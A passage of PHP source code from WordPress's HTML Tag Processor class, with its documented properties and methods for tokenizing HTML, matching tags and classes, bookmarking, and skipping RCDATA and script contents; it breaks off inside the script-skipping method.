 * ### Text Encoding
 *
 * The Tag Processor assumes that the input HTML document is encoded with a
 * text encoding compatible with 7-bit ASCII's '<', '>', '&', ';', '/', '=',
 * "'", '"', 'a' - 'z', 'A' - 'Z', and the whitespace characters ' ', tab,
 * carriage-return, newline, and form-feed.
 *
 * In practice, this includes almost every single-byte encoding as well as
 * UTF-8. Notably, however, it does not include UTF-16. If providing input
 * that's incompatible, then convert the encoding beforehand.
 *
 * @since 6.2.0
 * @since 6.2.1 Fix: Support for various invalid comments; attribute updates are case-insensitive.
 * @since 6.3.2 Fix: Skip HTML-like content inside rawtext elements such as STYLE.
 * @since 6.5.0 Pauses processor when input ends in an incomplete syntax token.
 *              Introduces "special" elements which act like void elements, e.g. TITLE, STYLE.
 *              Allows scanning through all tokens and processing modifiable text, where applicable.
 */
class WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at
	 * any given time.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::set_bookmark()
	 */
	const MAX_BOOKMARKS = 10;

	/**
	 * Maximum number of times seek() can be called.
	 * Prevents accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	const MAX_SEEK_OPS = 1000;

	/**
	 * The HTML document to parse.
	 *
	 * @since 6.2.0
	 * @var string
	 */
	protected $html;

	/**
	 * The last query passed to next_tag().
	 *
	 * @since 6.2.0
	 * @var array|null
	 */
	private $last_query;

	/**
	 * The tag name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_tag_name;

	/**
	 * The CSS class name this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var string|null
	 */
	private $sought_class_name;

	/**
	 * The match offset this processor currently scans for.
	 *
	 * @since 6.2.0
	 * @var int|null
	 */
	private $sought_match_offset;

	/**
	 * Whether to visit tag closers, e.g. </div>, when walking an input document.
	 *
	 * @since 6.2.0
	 * @var bool
	 */
	private $stop_on_tag_closers;

	/**
	 * Specifies mode of operation of the parser at any given time.
	 *
	 * | State           | Meaning                                                              |
	 * | ----------------|----------------------------------------------------------------------|
	 * | *Ready*         | The parser is ready to run.                                          |
	 * | *Complete*      | There is nothing left to parse.                                      |
	 * | *Incomplete*    | The HTML ended in the middle of a token; nothing more can be parsed. |
	 * | *Matched tag*   | Found an HTML tag; it's possible to modify its attributes.           |
	 * | *Text node*     | Found a #text node; this is plaintext and modifiable.                |
	 * | *CDATA node*    | Found a CDATA section; this is modifiable.                           |
	 * | *Comment*       | Found a comment or bogus comment; this is modifiable.                |
	 * | *Presumptuous*  | Found an empty tag closer: `</>`.                                    |
	 * | *Funky comment* | Found a tag closer with an invalid tag name; this is modifiable.     |
	 *
	 * @since 6.5.0
	 *
	 * @see WP_HTML_Tag_Processor::STATE_READY
	 * @see WP_HTML_Tag_Processor::STATE_COMPLETE
	 * @see WP_HTML_Tag_Processor::STATE_INCOMPLETE_INPUT
	 * @see WP_HTML_Tag_Processor::STATE_MATCHED_TAG
	 * @see WP_HTML_Tag_Processor::STATE_TEXT_NODE
	 * @see WP_HTML_Tag_Processor::STATE_CDATA_NODE
	 * @see WP_HTML_Tag_Processor::STATE_COMMENT
	 * @see WP_HTML_Tag_Processor::STATE_DOCTYPE
	 * @see WP_HTML_Tag_Processor::STATE_PRESUMPTUOUS_TAG
	 * @see WP_HTML_Tag_Processor::STATE_FUNKY_COMMENT
	 *
	 * @var string
	 */
	protected $parser_state = self::STATE_READY;

	/**
	 * Indicates if the document is in quirks mode or no-quirks mode.
	 *
	 *  Impact on HTML parsing:
	 *
	 *   - In `NO_QUIRKS_MODE` (also known as "standard mode"):
	 *       - CSS class and ID selectors match byte-for-byte (case-sensitively).
	 *       - A TABLE start tag `<table>` implicitly closes any open `P` element.
	 *
	 *   - In `QUIRKS_MODE`:
	 *       - CSS class and ID selectors match match in an ASCII case-insensitive manner.
	 *       - A TABLE start tag `<table>` opens a `TABLE` element as a child of a `P`
	 *         element if one is open.
	 *
	 * Quirks and no-quirks mode are thus mostly about styling, but have an impact when
	 * tables are found inside paragraph elements.
	 *
	 * @see self::QUIRKS_MODE
	 * @see self::NO_QUIRKS_MODE
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $compat_mode = self::NO_QUIRKS_MODE;

	/**
	 * Indicates whether the parser is inside foreign content,
	 * e.g. inside an SVG or MathML element.
	 *
	 * One of 'html', 'svg', or 'math'.
	 *
	 * Several parsing rules change based on whether the parser
	 * is inside foreign content, including whether CDATA sections
	 * are allowed and whether a self-closing flag indicates that
	 * an element has no content.
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	private $parsing_namespace = 'html';

	/**
	 * What kind of syntax token became an HTML comment.
	 *
	 * Since there are many ways in which HTML syntax can create an HTML comment,
	 * this indicates which of those caused it. This allows the Tag Processor to
	 * represent more from the original input document than would appear in the DOM.
	 *
	 * @since 6.5.0
	 *
	 * @var string|null
	 */
	protected $comment_type = null;

	/**
	 * What kind of text the matched text node represents, if it was subdivided.
	 *
	 * @see self::TEXT_IS_NULL_SEQUENCE
	 * @see self::TEXT_IS_WHITESPACE
	 * @see self::TEXT_IS_GENERIC
	 * @see self::subdivide_text_appropriately
	 *
	 * @since 6.7.0
	 *
	 * @var string
	 */
	protected $text_node_classification = self::TEXT_IS_GENERIC;

	/**
	 * How many bytes from the original HTML document have been read and parsed.
	 *
	 * This value points to the latest byte offset in the input document which
	 * has been already parsed. It is the internal cursor for the Tag Processor
	 * and updates while scanning through the HTML tokens.
	 *
	 * @since 6.2.0
	 * @var int
	 */
	private $bytes_already_parsed = 0;

	/**
	 * Byte offset in input document where current token starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *     - token starts at 0
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_starts_at;

	/**
	 * Byte length of current token.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     012345678901234
	 *     - token length is 14 - 0 = 14
	 *
	 *     a <!-- comment --> is a token.
	 *     0123456789 123456789 123456789
	 *     - token length is 17 - 2 = 15
	 *
	 * @since 6.5.0
	 *
	 * @var int|null
	 */
	private $token_length;

	/**
	 * Byte offset in input document where current tag name starts.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      - tag name starts at 1
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_starts_at;

	/**
	 * Byte length of current tag name.
	 *
	 * Example:
	 *
	 *     <div id="test">...
	 *     01234
	 *      --- tag name length is 3
	 *
	 * @since 6.2.0
	 *
	 * @var int|null
	 */
	private $tag_name_length;

	/**
	 * Byte offset into input document where current modifiable text starts.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_starts_at;

	/**
	 * Byte length of modifiable text.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	private $text_length;

	/**
	 * Whether the current tag is an opening tag, e.g. <div>, or a closing tag, e.g. </div>.
	 *
	 * @var bool
	 */
	private $is_closing_tag;

	/**
	 * Lazily-built index of attributes found within an HTML tag, keyed by the attribute name.
	 *
	 * Example:
	 *
	 *     // Supposing the parser is working through this content
	 *     // and stops after recognizing the `id` attribute.
	 *     // <div id="test-4" class=outline title="data:text/plain;base64=asdk3nk1j3fo8">
	 *     //                 ^ parsing will continue from this point.
	 *     $this->attributes = array(
	 *         'id' => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false )
	 *     );
	 *
	 *     // When picking up parsing again, or when asking to find the
	 *     // `class` attribute we will continue and add to this array.
	 *     $this->attributes = array(
	 *         'id'    => new WP_HTML_Attribute_Token( 'id', 9, 6, 5, 11, false ),
	 *         'class' => new WP_HTML_Attribute_Token( 'class', 23, 7, 17, 13, false )
	 *     );
	 *
	 *     // Note that only the `class` attribute value is stored in the index.
	 *     // That's because it is the only value used by this class at the moment.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Attribute_Token[]
	 */
	private $attributes = array();

	/**
	 * Tracks spans of duplicate attributes on a given tag, used for removing
	 * all copies of an attribute when calling `remove_attribute()`.
	 *
	 * @since 6.3.2
	 *
	 * @var (WP_HTML_Span[])[]|null
	 */
	private $duplicate_attributes = null;

	/**
	 * Which class names to add or remove from a tag.
	 *
	 * These are tracked separately from attribute updates because they are
	 * semantically distinct, whereas this interface exists for the common
	 * case of adding and removing class names while other attributes are
	 * generally modified as with DOM `setAttribute` calls.
	 *
	 * When modifying an HTML document these will eventually be collapsed
	 * into a single `set_attribute( 'class', $changes )` call.
	 *
	 * Example:
	 *
	 *     // Add the `wp-block-group` class, remove the `wp-group` class.
	 *     $classname_updates = array(
	 *         // Indexed by a comparable class name.
	 *         'wp-block-group' => WP_HTML_Tag_Processor::ADD_CLASS,
	 *         'wp-group'       => WP_HTML_Tag_Processor::REMOVE_CLASS
	 *     );
	 *
	 * @since 6.2.0
	 * @var bool[]
	 */
	private $classname_updates = array();

	/**
	 * Tracks a semantic location in the original HTML which
	 * shifts with updates as they are applied to the document.
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Span[]
	 */
	protected $bookmarks = array();

	const ADD_CLASS    = true;
	const REMOVE_CLASS = false;
	const SKIP_CLASS   = null;

	/**
	 * Lexical replacements to apply to input HTML document.
	 *
	 * "Lexical" in this class refers to the part of this class which
	 * operates on pure text _as text_ and not as HTML. There's a line
	 * between the public interface, with HTML-semantic methods like
	 * `set_attribute` and `add_class`, and an internal state that tracks
	 * text offsets in the input document.
	 *
	 * When higher-level HTML methods are called, those have to transform their
	 * operations (such as setting an attribute's value) into text diffing
	 * operations (such as replacing the sub-string from indices A to B with
	 * some given new string). These text-diffing operations are the lexical
	 * updates.
	 *
	 * As new higher-level methods are added they need to collapse their
	 * operations into these lower-level lexical updates since that's the
	 * Tag Processor's internal language of change. Any code which creates
	 * these lexical updates must ensure that they do not cross HTML syntax
	 * boundaries, however, so these should never be exposed outside of this
	 * class or any classes which intentionally expand its functionality.
	 *
	 * These are enqueued while editing the document instead of being immediately
	 * applied to avoid processing overhead, string allocations, and string
	 * copies when applying many updates to a single document.
	 *
	 * Example:
	 *
	 *     // Replace an attribute stored with a new value, indices
	 *     // sourced from the lazily-parsed HTML recognizer.
	 *     $start  = $attributes['src']->start;
	 *     $length = $attributes['src']->length;
	 *     $modifications[] = new WP_HTML_Text_Replacement( $start, $length, $new_value );
	 *
	 *     // Correspondingly, something like this will appear in this array.
	 *     $lexical_updates = array(
	 *         WP_HTML_Text_Replacement( 14, 28, 'https://my-site.my-domain/wp-content/uploads/2014/08/kittens.jpg' )
	 *     );
	 *
	 * @since 6.2.0
	 * @var WP_HTML_Text_Replacement[]
	 */
	protected $lexical_updates = array();

	/**
	 * Tracks and limits `seek()` calls to prevent accidental infinite loops.
	 *
	 * @since 6.2.0
	 * @var int
	 *
	 * @see WP_HTML_Tag_Processor::seek()
	 */
	protected $seek_count = 0;

	/**
	 * Whether the parser should skip over an immediately-following linefeed
	 * character, as is the case with LISTING, PRE, and TEXTAREA.
	 *
	 * > If the next token is a U+000A LINE FEED (LF) character token, then
	 * > ignore that token and move on to the next one. (Newlines at the start
	 * > of [these] elements are ignored as an authoring convenience.)
	 *
	 * @since 6.7.0
	 *
	 * @var int|null
	 */
	private $skip_newline_at = null;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param string $html HTML to process.
	 */
	public function __construct( $html ) {
		if ( ! is_string( $html ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'The HTML parameter must be a string.' ),
				'6.9.0'
			);
			$html = '';
		}
		$this->html = $html;
	}

	/**
	 * Switches parsing mode into a new namespace, such as when
	 * encountering an SVG tag and entering foreign content.
	 *
	 * @since 6.7.0
	 *
	 * @param string $new_namespace One of 'html', 'svg', or 'math' indicating into what
	 *                              namespace the next tokens will be processed.
	 * @return bool Whether the namespace was valid and changed.
	 */
	public function change_parsing_namespace( string $new_namespace ): bool {
		if ( ! in_array( $new_namespace, array( 'html', 'math', 'svg' ), true ) ) {
			return false;
		}

		$this->parsing_namespace = $new_namespace;
		return true;
	}

	/**
	 * Finds the next tag matching the $query.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 No longer processes incomplete tokens at end of document; pauses the processor at start of token.
	 *
	 * @param array|string|null $query {
	 *     Optional. Which tag name to find, having which class, etc. Default is to find any tag.
	 *
	 *     @type string|null $tag_name     Which tag to find, or `null` for "any tag."
	 *     @type int|null    $match_offset Find the Nth tag matching all search criteria.
	 *                                     1 for "first" tag, 3 for "third," etc.
	 *                                     Defaults to first tag.
	 *     @type string|null $class_name   Tag must contain this whole class name to match.
	 *     @type string|null $tag_closers  "visit" or "skip": whether to stop on tag closers, e.g. </div>.
	 * }
	 * @return bool Whether a tag was matched.
	 */
	public function next_tag( $query = null ): bool {
		$this->parse_query( $query );
		$already_found = 0;

		do {
			if ( false === $this->next_token() ) {
				return false;
			}

			if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
				continue;
			}

			if ( $this->matches() ) {
				++$already_found;
			}
		} while ( $already_found < $this->sought_match_offset );

		return true;
	}

	/**
	 * Finds the next token in the HTML document.
	 *
	 * An HTML document can be viewed as a stream of tokens,
	 * where tokens are things like HTML tags, HTML comments,
	 * text nodes, etc. This method finds the next token in
	 * the HTML document and returns whether it found one.
	 *
	 * If it starts parsing a token and reaches the end of the
	 * document then it will seek to the start of the last
	 * token and pause, returning `false` to indicate that it
	 * failed to find a complete token.
	 *
	 * Possible token types, based on the HTML specification:
	 *
	 *  - an HTML tag, whether opening, closing, or void.
	 *  - a text node - the plaintext inside tags.
	 *  - an HTML comment.
	 *  - a DOCTYPE declaration.
	 *  - a processing instruction, e.g. `<?xml version="1.0" ?>`.
	 *
	 * The Tag Processor currently only supports the tag token.
	 *
	 * @since 6.5.0
	 * @since 6.7.0 Recognizes CDATA sections within foreign content.
	 *
	 * @return bool Whether a token was parsed.
	 */
	public function next_token(): bool {
		return $this->base_class_next_token();
	}

	/**
	 * Internal method which finds the next token in the HTML document.
	 *
	 * This method is a protected internal function which implements the logic for
	 * finding the next token in a document. It exists so that the parser can update
	 * its state without affecting the location of the cursor in the document and
	 * without triggering subclass methods for things like `next_token()`, e.g. when
	 * applying patches before searching for the next token.
	 *
	 * @since 6.5.0
	 *
	 * @access private
	 *
	 * @return bool Whether a token was parsed.
	 */
	private function base_class_next_token(): bool {
		$was_at = $this->bytes_already_parsed;
		$this->after_tag();

		// Don't proceed if there's nothing more to scan.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		/*
		 * The next step in the parsing loop determines the parsing state;
		 * clear it so that state doesn't linger from the previous step.
		 */
		$this->parser_state = self::STATE_READY;

		if ( $this->bytes_already_parsed >= strlen( $this->html ) ) {
			$this->parser_state = self::STATE_COMPLETE;
			return false;
		}

		// Find the next tag if it exists.
		if ( false === $this->parse_next_tag() ) {
			if ( self::STATE_INCOMPLETE_INPUT === $this->parser_state ) {
				$this->bytes_already_parsed = $was_at;
			}

			return false;
		}

		/*
		 * For legacy reasons the rest of this function handles tags and their
		 * attributes. If the processor has reached the end of the document
		 * or if it matched any other token then it should return here to avoid
		 * attempting to process tag-specific syntax.
		 */
		if (
			self::STATE_INCOMPLETE_INPUT !== $this->parser_state &&
			self::STATE_COMPLETE !== $this->parser_state &&
			self::STATE_MATCHED_TAG !== $this->parser_state
		) {
			return true;
		}

		// Parse all of its attributes.
		while ( $this->parse_next_attribute() ) {
			continue;
		}

		// Ensure that the tag closes before the end of the document.
		if (
			self::STATE_INCOMPLETE_INPUT === $this->parser_state ||
			$this->bytes_already_parsed >= strlen( $this->html )
		) {
			// Does this appropriately clear state (parsed attributes)?
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}

		$tag_ends_at = strpos( $this->html, '>', $this->bytes_already_parsed );
		if ( false === $tag_ends_at ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;

			return false;
		}
		$this->parser_state         = self::STATE_MATCHED_TAG;
		$this->bytes_already_parsed = $tag_ends_at + 1;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;

		/*
		 * Certain tags require additional processing. The first-letter pre-check
		 * avoids unnecessary string allocation when comparing the tag names.
		 *
		 *  - IFRAME
		 *  - LISTING (deprecated)
		 *  - NOEMBED (deprecated)
		 *  - NOFRAMES (deprecated)
		 *  - PRE
		 *  - SCRIPT
		 *  - STYLE
		 *  - TEXTAREA
		 *  - TITLE
		 *  - XMP (deprecated)
		 */
		if (
			$this->is_closing_tag ||
			'html' !== $this->parsing_namespace ||
			1 !== strspn( $this->html, 'iIlLnNpPsStTxX', $this->tag_name_starts_at, 1 )
		) {
			return true;
		}

		$tag_name = $this->get_tag();

		/*
		 * For LISTING, PRE, and TEXTAREA, the first linefeed of an immediately-following
		 * text node is ignored as an authoring convenience.
		 *
		 * @see static::skip_newline_at
		 */
		if ( 'LISTING' === $tag_name || 'PRE' === $tag_name ) {
			$this->skip_newline_at = $this->bytes_already_parsed;
			return true;
		}

		/*
		 * There are certain elements whose children are not DATA but are instead
		 * RCDATA or RAWTEXT. These cannot contain other elements, and the contents
		 * are parsed as plaintext, with character references decoded in RCDATA but
		 * not in RAWTEXT.
		 *
		 * These elements are described here as "self-contained" or special atomic
		 * elements whose end tag is consumed with the opening tag, and they will
		 * contain modifiable text inside of them.
		 *
		 * Preserve the opening tag pointers, as these will be overwritten
		 * when finding the closing tag. They will be reset after finding
		 * the closing to tag to point to the opening of the special atomic
		 * tag sequence.
		 */
		$tag_name_starts_at   = $this->tag_name_starts_at;
		$tag_name_length      = $this->tag_name_length;
		$tag_ends_at          = $this->token_starts_at + $this->token_length;
		$attributes           = $this->attributes;
		$duplicate_attributes = $this->duplicate_attributes;

		// Find the closing tag if necessary.
		switch ( $tag_name ) {
			case 'SCRIPT':
				$found_closer = $this->skip_script_data();
				break;

			case 'TEXTAREA':
			case 'TITLE':
				$found_closer = $this->skip_rcdata( $tag_name );
				break;

			/*
			 * In the browser this list would include the NOSCRIPT element,
			 * but the Tag Processor is an environment with the scripting
			 * flag disabled, meaning that it needs to descend into the
			 * NOSCRIPT element to be able to properly process what will be
			 * sent to a browser.
			 *
			 * Note that this rule makes HTML5 syntax incompatible with XML,
			 * because the parsing of this token depends on client application.
			 * The NOSCRIPT element cannot be represented in the XHTML syntax.
			 */
			case 'IFRAME':
			case 'NOEMBED':
			case 'NOFRAMES':
			case 'STYLE':
			case 'XMP':
				$found_closer = $this->skip_rawtext( $tag_name );
				break;

			// No other tags should be treated in their entirety here.
			default:
				return true;
		}

		if ( ! $found_closer ) {
			$this->parser_state         = self::STATE_INCOMPLETE_INPUT;
			$this->bytes_already_parsed = $was_at;
			return false;
		}

		/*
		 * The values here look like they reference the opening tag but they reference
		 * the closing tag instead. This is why the opening tag values were stored
		 * above in a variable. It reads confusingly here, but that's because the
		 * functions that skip the contents have moved all the internal cursors past
		 * the inner content of the tag.
		 */
		$this->token_starts_at      = $was_at;
		$this->token_length         = $this->bytes_already_parsed - $this->token_starts_at;
		$this->text_starts_at       = $tag_ends_at;
		$this->text_length          = $this->tag_name_starts_at - $this->text_starts_at;
		$this->tag_name_starts_at   = $tag_name_starts_at;
		$this->tag_name_length      = $tag_name_length;
		$this->attributes           = $attributes;
		$this->duplicate_attributes = $duplicate_attributes;

		return true;
	}

	/**
	 * Whether the processor paused because the input HTML document ended
	 * in the middle of a syntax element, such as in the middle of a tag.
	 *
	 * Example:
	 *
	 *     $processor = new WP_HTML_Tag_Processor( '<input type="text" value="Th' );
	 *     false      === $processor->get_next_tag();
	 *     true       === $processor->paused_at_incomplete_token();
	 *
	 * @since 6.5.0
	 *
	 * @return bool Whether the parse paused at the start of an incomplete token.
	 */
	public function paused_at_incomplete_token(): bool {
		return self::STATE_INCOMPLETE_INPUT === $this->parser_state;
	}

	/**
	 * Generator for a foreach loop to step through each class name for the matched tag.
	 *
	 * This generator function is designed to be used inside a "foreach" loop.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( "<div class='free &lt;egg&lt;\tlang-en'>" );
	 *     $p->next_tag();
	 *     foreach ( $p->class_list() as $class_name ) {
	 *         echo "{$class_name} ";
	 *     }
	 *     // Outputs: "free <egg> lang-en "
	 *
	 * @since 6.4.0
	 */
	public function class_list() {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return;
		}

		/** @var string $class contains the string value of the class attribute, with character references decoded. */
		$class = $this->get_attribute( 'class' );

		if ( ! is_string( $class ) ) {
			return;
		}

		$seen = array();

		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;

		$at = 0;
		while ( $at < strlen( $class ) ) {
			// Skip past any initial boundary characters.
			$at += strspn( $class, " \t\f\r\n", $at );
			if ( $at >= strlen( $class ) ) {
				return;
			}

			// Find the byte length until the next boundary.
			$length = strcspn( $class, " \t\f\r\n", $at );
			if ( 0 === $length ) {
				return;
			}

			$name = str_replace( "\x00", "\u{FFFD}", substr( $class, $at, $length ) );
			if ( $is_quirks ) {
				$name = strtolower( $name );
			}
			$at += $length;

			/*
			 * It's expected that the number of class names for a given tag is relatively small.
			 * Given this, it is probably faster overall to scan an array for a value rather
			 * than to use the class name as a key and check if it's a key of $seen.
			 */
			if ( in_array( $name, $seen, true ) ) {
				continue;
			}

			$seen[] = $name;
			yield $name;
		}
	}


	/**
	 * Returns if a matched tag contains the given ASCII case-insensitive class name.
	 *
	 * @since 6.4.0
	 *
	 * @param string $wanted_class Look for this CSS class name, ASCII case-insensitive.
	 * @return bool|null Whether the matched tag contains the given class name, or null if not matched.
	 */
	public function has_class( $wanted_class ): ?bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$case_insensitive = self::QUIRKS_MODE === $this->compat_mode;

		$wanted_length = strlen( $wanted_class );
		foreach ( $this->class_list() as $class_name ) {
			if (
				strlen( $class_name ) === $wanted_length &&
				0 === substr_compare( $class_name, $wanted_class, 0, strlen( $wanted_class ), $case_insensitive )
			) {
				return true;
			}
		}

		return false;
	}


	/**
	 * Sets a bookmark in the HTML document.
	 *
	 * Bookmarks represent specific places or tokens in the HTML
	 * document, such as a tag opener or closer. When applying
	 * edits to a document, such as setting an attribute, the
	 * text offsets of that token may shift; the bookmark is
	 * kept updated with those shifts and remains stable unless
	 * the entire span of text in which the token sits is removed.
	 *
	 * Release bookmarks when they are no longer needed.
	 *
	 * Example:
	 *
	 *     <main><h2>Surprising fact you may not know!</h2></main>
	 *           ^  ^
	 *            \-|-- this `H2` opener bookmark tracks the token
	 *
	 *     <main class="clickbait"><h2>Surprising fact you may no…
	 *                             ^  ^
	 *                              \-|-- it shifts with edits
	 *
	 * Bookmarks provide the ability to seek to a previously-scanned
	 * place in the HTML document. This avoids the need to re-scan
	 * the entire document.
	 *
	 * Example:
	 *
	 *     <ul><li>One</li><li>Two</li><li>Three</li></ul>
	 *                                 ^^^^
	 *                                 want to note this last item
	 *
	 *     $p = new WP_HTML_Tag_Processor( $html );
	 *     $in_list = false;
	 *     while ( $p->next_tag( array( 'tag_closers' => $in_list ? 'visit' : 'skip' ) ) ) {
	 *         if ( 'UL' === $p->get_tag() ) {
	 *             if ( $p->is_tag_closer() ) {
	 *                 $in_list = false;
	 *                 $p->set_bookmark( 'resume' );
	 *                 if ( $p->seek( 'last-li' ) ) {
	 *                     $p->add_class( 'last-li' );
	 *                 }
	 *                 $p->seek( 'resume' );
	 *                 $p->release_bookmark( 'last-li' );
	 *                 $p->release_bookmark( 'resume' );
	 *             } else {
	 *                 $in_list = true;
	 *             }
	 *         }
	 *
	 *         if ( 'LI' === $p->get_tag() ) {
	 *             $p->set_bookmark( 'last-li' );
	 *         }
	 *     }
	 *
	 * Bookmarks intentionally hide the internal string offsets
	 * to which they refer. They are maintained internally as
	 * updates are applied to the HTML document and therefore
	 * retain their "position" - the location to which they
	 * originally pointed. The inability to use bookmarks with
	 * functions like `substr` is therefore intentional to guard
	 * against accidentally breaking the HTML.
	 *
	 * Because bookmarks allocate memory and require processing
	 * for every applied update, they are limited and require
	 * a name. They should not be created with programmatically-made
	 * names, such as "li_{$index}" with some loop. As a general
	 * rule they should only be created with string-literal names
	 * like "start-of-section" or "last-paragraph".
	 *
	 * Bookmarks are a powerful tool to enable complicated behavior.
	 * Consider double-checking that you need this tool if you are
	 * reaching for it, as inappropriate use could lead to broken
	 * HTML structure or unwanted processing overhead.
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Identifies this particular bookmark.
	 * @return bool Whether the bookmark was successfully created.
	 */
	public function set_bookmark( $name ): bool {
		// It only makes sense to set a bookmark if the parser has paused on a concrete token.
		if (
			self::STATE_COMPLETE === $this->parser_state ||
			self::STATE_INCOMPLETE_INPUT === $this->parser_state
		) {
			return false;
		}

		if ( ! array_key_exists( $name, $this->bookmarks ) && count( $this->bookmarks ) >= static::MAX_BOOKMARKS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many bookmarks: cannot create any more.' ),
				'6.2.0'
			);
			return false;
		}

		$this->bookmarks[ $name ] = new WP_HTML_Span( $this->token_starts_at, $this->token_length );

		return true;
	}


	/**
	 * Removes a bookmark that is no longer needed.
	 *
	 * Releasing a bookmark frees up the small
	 * performance overhead it requires.
	 *
	 * @param string $name Name of the bookmark to remove.
	 * @return bool Whether the bookmark already existed before removal.
	 */
	public function release_bookmark( $name ): bool {
		if ( ! array_key_exists( $name, $this->bookmarks ) ) {
			return false;
		}

		unset( $this->bookmarks[ $name ] );

		return true;
	}

	/**
	 * Skips contents of generic rawtext elements.
	 *
	 * @since 6.3.2
	 *
	 * @see https://html.spec.whatwg.org/#generic-raw-text-element-parsing-algorithm
	 *
	 * @param string $tag_name The uppercase tag name which will close the RAWTEXT region.
	 * @return bool Whether an end to the RAWTEXT region was found before the end of the document.
	 */
	private function skip_rawtext( string $tag_name ): bool {
		/*
		 * These two functions distinguish themselves on whether character references are
		 * decoded, and since functionality to read the inner markup isn't supported, it's
		 * not necessary to implement these two functions separately.
		 */
		return $this->skip_rcdata( $tag_name );
	}

	/**
	 * Skips contents of RCDATA elements, namely title and textarea tags.
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#rcdata-state
	 *
	 * @param string $tag_name The uppercase tag name which will close the RCDATA region.
	 * @return bool Whether an end to the RCDATA region was found before the end of the document.
	 */
	private function skip_rcdata( string $tag_name ): bool {
		$html       = $this->html;
		$doc_length = strlen( $html );
		$tag_length = strlen( $tag_name );

		$at = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at                       = strpos( $this->html, '</', $at );
			$this->tag_name_starts_at = $at;

			// Fail if there is no possible tag closer.
			if ( false === $at || ( $at + $tag_length ) >= $doc_length ) {
				return false;
			}

			$at += 2;

			/*
			 * Find a case-insensitive match to the tag name.
			 *
			 * Because tag names are limited to US-ASCII there is no
			 * need to perform any kind of Unicode normalization when
			 * comparing; any character which could be impacted by such
			 * normalization could not be part of a tag name.
			 */
			for ( $i = 0; $i < $tag_length; $i++ ) {
				$tag_char  = $tag_name[ $i ];
				$html_char = $html[ $at + $i ];

				if ( $html_char !== $tag_char && strtoupper( $html_char ) !== $tag_char ) {
					$at += $i;
					continue 2;
				}
			}

			$at                        += $tag_length;
			$this->bytes_already_parsed = $at;

			if ( $at >= strlen( $html ) ) {
				return false;
			}

			/*
			 * Ensure that the tag name terminates to avoid matching on
			 * substrings of a longer tag name. For example, the sequence
			 * "</textarearug" should not match for "</textarea" even
			 * though "textarea" is found within the text.
			 */
			$c = $html[ $at ];
			if ( ' ' !== $c && "\t" !== $c && "\r" !== $c && "\n" !== $c && '/' !== $c && '>' !== $c ) {
				continue;
			}

			while ( $this->parse_next_attribute() ) {
				continue;
			}

			$at = $this->bytes_already_parsed;
			if ( $at >= strlen( $this->html ) ) {
				return false;
			}

			if ( '>' === $html[ $at ] ) {
				$this->bytes_already_parsed = $at + 1;
				return true;
			}

			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
